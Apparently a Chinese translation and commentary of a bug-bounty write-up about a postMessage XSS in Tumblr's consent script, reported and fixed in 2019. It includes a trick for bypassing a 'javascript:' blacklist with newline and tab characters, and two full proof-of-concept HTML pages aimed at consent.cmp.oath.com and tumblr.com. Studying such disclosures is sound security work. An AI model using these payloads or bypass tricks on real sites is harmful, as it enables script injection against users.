postMessageXss续2

   原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

   在19年我写了一篇文章,是基于postMessageXss漏洞的入门教学:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html 

   这几天浏览mXss技术的时候,看到了一篇postMessaage的分析文章,觉得不错,遂翻译写成文章,每一次好的文章翻译,都是一次很好的学习的机会。生硬的translate,对技术提升没有任何帮助,这里我以第一视角代入翻译此篇文章,加入自己对漏洞的理解。

   这篇文章的难点在于对source的构造。

   正文内容如下:

   在研究期间,我决定查看 tumblr.com 主页,计划是查看它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在模糊形式下,它如下所示:

            var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")})}}

  为了方便理解,把代码丢入webstorm,webstorm会有高亮提醒:

 通过我的截图标记,我们知道这是个套娃行为,他的可控source点的套娃行为如下:

e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter

如果要本地模式这种套娃行为,那么这种source套娃模拟就是如下:

data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)

 两个逻辑处理分支:

(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx

 第一个是使用parse函数把我们监听接收的数据从JSON 字符串转换为 JavaScript 对象,说明我们传递的source是个json字符串

 source套娃点,会传入__cmp(函数,跟进这个函数:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

代码臭长臭长的,不要管,只要抓住重点 

(1)在javascript中当出现n.x.y或者n.x.y.z说明是套娃+套娃,跟紧咬死source点

(2)寻找潜在风险函数

发现有个if逻辑判断,如果不为真,就else输出报错,那么这里要想办法让条件为真,跟进isSafeUrl函数:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")
}

正常我们写代码都是function isSafeUrl(x) 。这是两种不同的写法,效果类似,一种是对象方法定义,一种是直接函数说明。

 这段逻辑代码很好理解:如果输入的字符串中不包含"javascript:",函数返回 true;如果包含,返回 false。 

 这里想返回真,那么我们就不能包含javascript:字符串,他这么做是为了防止xss攻击。做过一些代码审计的朋友应该都知道,使用包含这种黑名单的修复手法,是很危险的,是很容易被绕过的。

 那么这里的包含,为后面的利用留下了伏笔。我们继续往下研究,假设我们不包含javascript:字符串,为真了,会触发下面的逻辑处理代码:

  通过不断的debug进入逻辑处理函数,发现一个可疑逻辑处理函数

 e ? l.a.initializationComplete() : b(l.a.initializationComplete)

  跟进b函数:

         b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

在这里,将触发真正的sink点:n.renderConsents(p, function(n, t) {,跟进对应函数:

 sink:renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

(1)r = t.uiUrl 可控点
(2)a.src = r iframe src加载

  通过阅读代码,很明显看出来这是个xss漏洞,我们可以本地模拟下这段攻击代码:

       <script type="text/javascript">a = document.createElement("iframe");a.src="javascript:alert(1)"; //可控点document.body.appendChild(a);</script>

因为前面的isSafeUrl函数判断,不允许包含javascript:字符串,包含就会报错不走相关sink函数,那么这里就需要利用下js的小tricks:

a = document.createElement("iframe");
a.src="\tjava\nscr\nipt:alert(1)"; //可控点
document.body.appendChild(a);

再次刷新:

在js中,src属性支持换行符,制表符等无害脏数据。这样我们就绕过了这个黑名单过滤函数。

对于最后的sink点位,原作者画出如下图:

这里我们需要学习老外的学习思路,漏洞挖掘中可以多画一些脑图,方便你去理解代码和理解业务逻辑。

最终的构造poc如下:

<html><body><script>
window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>

难点在于source套娃,容易绕晕。构造的poc,是比较常规的写法。前面已经讲了这个套娃怎么玩了,详见JSON.parse的函数定义。

其实到这里,这篇翻译文章算结束了。下面是扩展项:

只要页面不包含 X-Frame-Options 标题,它就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,则此漏洞将不允许攻击者构建目标页面。整个攻击需要在两个浏览器选项卡之间创建连接,以便通过window.opener传递postMessages,这也非常简单:

X-Frame-Options 是什么?

X-Frame-Options 是一个 HTTP 响应头,用于防止点击劫持攻击(clickjacking)。它控制一个网页是否可以在 <iframe> 中被嵌套,增强了安全性。以下是它的主要选项和含义:不允许任何网页在 <iframe> 中嵌套当前页面。
http
复制代码
X-Frame-Options: DENY
SAMEORIGIN:只允许同源的网页在 <iframe> 中嵌套当前页面。也就是说,只有与当前页面相同源的网页可以嵌入。
http
复制代码
X-Frame-Options: SAMEORIGIN

因为postMessage xss漏洞需要加载当前网页地址,通过设置X-Frame-Options可以禁止嵌套网页:

那么对于这种情况,原文作者是如何绕过的?

<html><body>
<script>
function e() {window.setTimeout(function() {window.location.href="https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>

这段代码绕过X-Frame-Options的核心概念如下:

攻击者需要在两个不同的浏览器选项卡之间建立连接。
这种连接允许攻击者在打开目标网站的选项卡中通过 window.opener 对象发送 postMessage 消息。
这种方式绕过了浏览器的安全策略,利用了在 window.opener 上发送消息的能力。
综上所述,理解这段话的关键点是:如果没有正确配置 X-Frame-Options 标头的网页可能会受到攻击,因为其他网站可以在其页面中嵌入目标网页的iframe,从而执行潜在的恶意操作。
正确实现 X-Frame-Options 可以有效防止此类攻击。
攻击者利用两个浏览器选项卡之间的连接,通过 window.opener 发送 postMessage 消息,绕过浏览器的安全机制,执行攻击。
window.opener 将指向打开这个弹出窗口的主窗口
时间线:
07/10/2019 – 发现漏洞并同时向 Verizon Media 和 Tumblr 报告
07/10/2019 – 由 Tumblr 分类和修复
08/10/2019 – 由 Verizon Media 修复
09/10/2019 – Tumblr 奖励我 500 美元的赏金
26/10/2019 – Verizon Media 奖励我 500 美元的赏金

虽然这份报告只有500刀,但是个人学到了很多。好的文章超越了金钱本身。

TRANSLATE with
x
English
ArabicHebrewPolish
BulgarianHindiPortuguese
CatalanHmong DawRomanian
Chinese SimplifiedHungarianRussian
Chinese TraditionalIndonesianSlovak
CzechItalianSlovenian
DanishJapaneseSpanish
DutchKlingonSwedish
EnglishKoreanThai
EstonianLatvianTurkish
FinnishLithuanianUkrainian
FrenchMalayUrdu
GermanMalteseVietnamese
GreekNorwegianWelsh
Haitian CreolePersian 
TRANSLATE with
COPY THE URL BELOW
Back
EMBED THE SNIPPET BELOW IN YOUR SITE
Enable collaborative features and customize widget: Bing Webmaster Portal
Back

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3248100.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

第三周周三总结

1.给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 如果反转后整数超过 32 位的有符号整数的范围 [−231, 231 − 1] &#xff0c;就返回 0。 假设环境不允许存储 64 位整数&#xff08;有符号或无符号&#xff09;。 示例 1&#xff1a; 输…

RuoYi-后端管理项目入门篇1

目录 前提准备 下载若依前后端 Gitee 地址 准备环境 后端数据库导入 1 克隆完成 若依后端管理后端 Gitte 地址 :若依/RuoYi-Vue 2.1 创建Data Source数据源 2.2 填写好对应的数据库User 和 Password 点击Apply 2.3 新建一个Schema 2.4 填写对应数据库名称 这边演示写的…

【I²C协议】STC89C51单片机IIC通信(代码+原理)

STC89C51单片机IIC通信 什么是IC协议特点构成 通信协议开始信号、结束信号、应答信号数据传输 代码示例 什么是IC协议 IIC,即IC&#xff0c;全称 Inter-Integrated Circuit&#xff0c;字面上的意思是集成电路之间&#xff0c;它其实是IC Bus简称&#xff0c;所以中文应该叫 集…

【Codeforces】Round 957 (Div. 3)_B. Angry Monk

作者&#xff1a;指针不指南吗 专栏&#xff1a;算法刷题 &#x1f43e;或许会很慢&#xff0c;但是不可以停下来&#x1f43e; 文章目录 题目题解try1代码正确题解贪心策略的解释为什么不是直接合并 总结 题目 题目链接 题解 try1代码 我的思路&#xff1a;单纯模拟 循环&a…

【字幕】字幕特效入门

前言 最近两周调研了一下字幕特效的底层程序逻辑&#xff0c;因为工作内容的原因&#xff0c;就分享几个自己找的链接具体细节就不分享了&#xff0c;CSDN也是我的个人笔记&#xff0c;只记录一些简单的内容用于后续自己方便查询&#xff0c;顺便帮助一下正在苦苦查阅资料入门…

基于STC89C51单片机的烟雾报警器设计(煤气火灾检测报警)(含文档、源码与proteus仿真,以及系统详细介绍)

本篇文章论述的是基于STC89C51单片机的烟雾报警器设计的详情介绍&#xff0c;如果对您有帮助的话&#xff0c;还请关注一下哦&#xff0c;如果有资源方面的需要可以联系我。 目录 摘要 原理图 实物图 仿真图 元件清单 代码 系统论文 资源下载 摘要 随着现代家庭用火、…

【高中数学/指数函数、幂函数】寻找曲线y=2^x与y=x^2的三个交汇点

【问题】 找到曲线y2^x与yx^2的三个交汇点。 【难点】 指数和二次函数摆在一起没法求解。 【解答】 y2^x与yx^2的交汇点&#xff0c;即曲线y2^x-x^2的零点&#xff0c;用Canvas作图就能清晰看到三个零点的存在&#xff0c;如图。 【图一】 其中&#xff0c;2&#xff0c;…

自制连点器

B站使用教程&#xff1a;https://www.bilibili.com/video/BV1SR85e4EKw/?vd_source47eba1800d831e86d4778a128740fe73 下载链接&#xff1a;链接&#xff1a;https://pan.baidu.com/s/1Spv_yVPFB3zoS__VL-nhaQ?pwdyxo1 提取码&#xff1a;yxo1

排序算法(4)之快速排序(1)

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 排序算法(4)之快速排序(1) 收录于专栏【数据结构初阶】 本专栏旨在分享学习数据结构学习的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目…

langchain循序渐进之langchain 安装及使用

pip安装langchain pip install langchain安装langsmith(可选) langsmith官方提示是用来观察大模型复杂调用情况&#xff0c;可选项。 [LangSmith]点击注册然后把秘钥填进去就行&#xff0c;这里我略过了 export LANGCHAIN_TRACING_V2"true" export LANGCHAIN_A…

【C++】模版初阶以及STL的简介

个人主页~ 模版及STL 一、模版初阶1、泛型编程2、函数模版&#xff08;1&#xff09;概念&#xff08;2&#xff09;函数模版格式&#xff08;3&#xff09;函数模版的原理&#xff08;4&#xff09;函数模版的实例化①显式实例化②隐式实例化 &#xff08;5&#xff09;模版参…

精益六西格玛项目赋能,石油机械龙头企业质量效率双提升!

​国内某石油机械制造龙头&#xff0c;迎接挑战&#xff0c;迈向卓越&#xff0c;携手张驰咨询&#xff0c;启动精益六西格玛项目&#xff0c;开启管理革新新篇章。 在国家政策调整和市场竞争日益激烈的背景下&#xff0c;作为国内石油机械产品制造领域的龙头企业&#xff0c;…

算法 —— LRU算法

算法 —— LRU算法 LRULRU算法的工作原理&#xff1a;实现方法&#xff1a;性能考虑&#xff1a; 模拟过程splice函数对于std::list和std::forward_list基本语法&#xff1a;功能描述&#xff1a; 示例&#xff1a;注意事项&#xff1a; 如果大家已经学习过了Cache的替换算法和…

Linux——Shell脚本和Nginx反向代理服务器

1. Linux中的shell脚本【了解】 1.1 什么是shell Shell是一个用C语言编写的程序&#xff0c;它是用户使用Linux的桥梁 Shell 既是一种命令语言&#xff0c;有是一种程序设计语言 Shell是指一种应用程序&#xff0c;这个应用程序提供了一个界面&#xff0c;用户通过这个界面访问…

开放式耳机2024哪家品牌比较好?2024年爆火开放式耳机推荐

很多小伙伴在后台私信我&#xff0c;滴滴我说&#xff0c;最近开放式耳机这么火&#xff0c;他也想要入手一台问问我&#xff0c;有哪些开放式耳机值得现在入手的&#xff0c;作为一个尽职尽业的数码博主&#xff0c;我本来是一个个回复的&#xff0c;但是私信没想到这么多&…

[C++初阶]list的模拟实现

一、对于list的源码的部分分析 1.分析构造函数 首先&#xff0c;我们一开始最先看到的就是这个结点的结构体&#xff0c;在这里我们可以注意到这是一个双向链表。有一个前驱指针&#xff0c;一个后继指针。然后在有一个存储数据的空间 其次它的迭代器是一个自定义类型&#x…

pyinstall 打包基于PyQt5和PaddleOCR的项目为.exe

简介&#xff1a; 最近做了一个小项目&#xff0c;是基于PyQt5和PaddleOCR的。需要将其打包为.exe&#xff0c;然后打包过程中遇到了很多问题&#xff0c;也看了很多教程&#xff0c;方法千奇百怪的&#xff0c;最后也是一步一步给试出来了。记录一下&#xff0c;防止以后忘记…

CSS基础学习之元素定位(6)

目录 1、定位类型 2、取值 2.1、static 2.2、relative 2.3、absolute 2.4、fixed 2.5、stickty 3、示例 3.1、相对定位(relative) 3.2、绝对定位&#xff08;absolute&#xff09; 3.3、固定定位&#xff08;fixed&#xff09; 3.4、粘性定位&#xff08;sticky&…

智慧互联新时代,Vatee万腾平台引领行业变革

在科技日新月异的今天&#xff0c;我们正步入一个前所未有的智慧互联新时代。这个时代&#xff0c;信息如潮水般涌来&#xff0c;数据成为新的石油&#xff0c;驱动着各行各业发生深刻变革。在这场变革的浪潮中&#xff0c;Vatee万腾平台以其卓越的智慧互联技术和前瞻性的战略布…

vue3前端开发-执行npm run dev提示报错怎么解决

vue3前端开发-执行npm run dev提示报错怎么解决&#xff01;今天在本地安装初始化了一个vue3的案例demo。但是当我执行npm run dev想启动它时报错了说&#xff0c;找不到dev。让我检查package.json文件是否包含dev。如下图所示&#xff1a; 实际上&#xff0c;不必惊慌&#xf…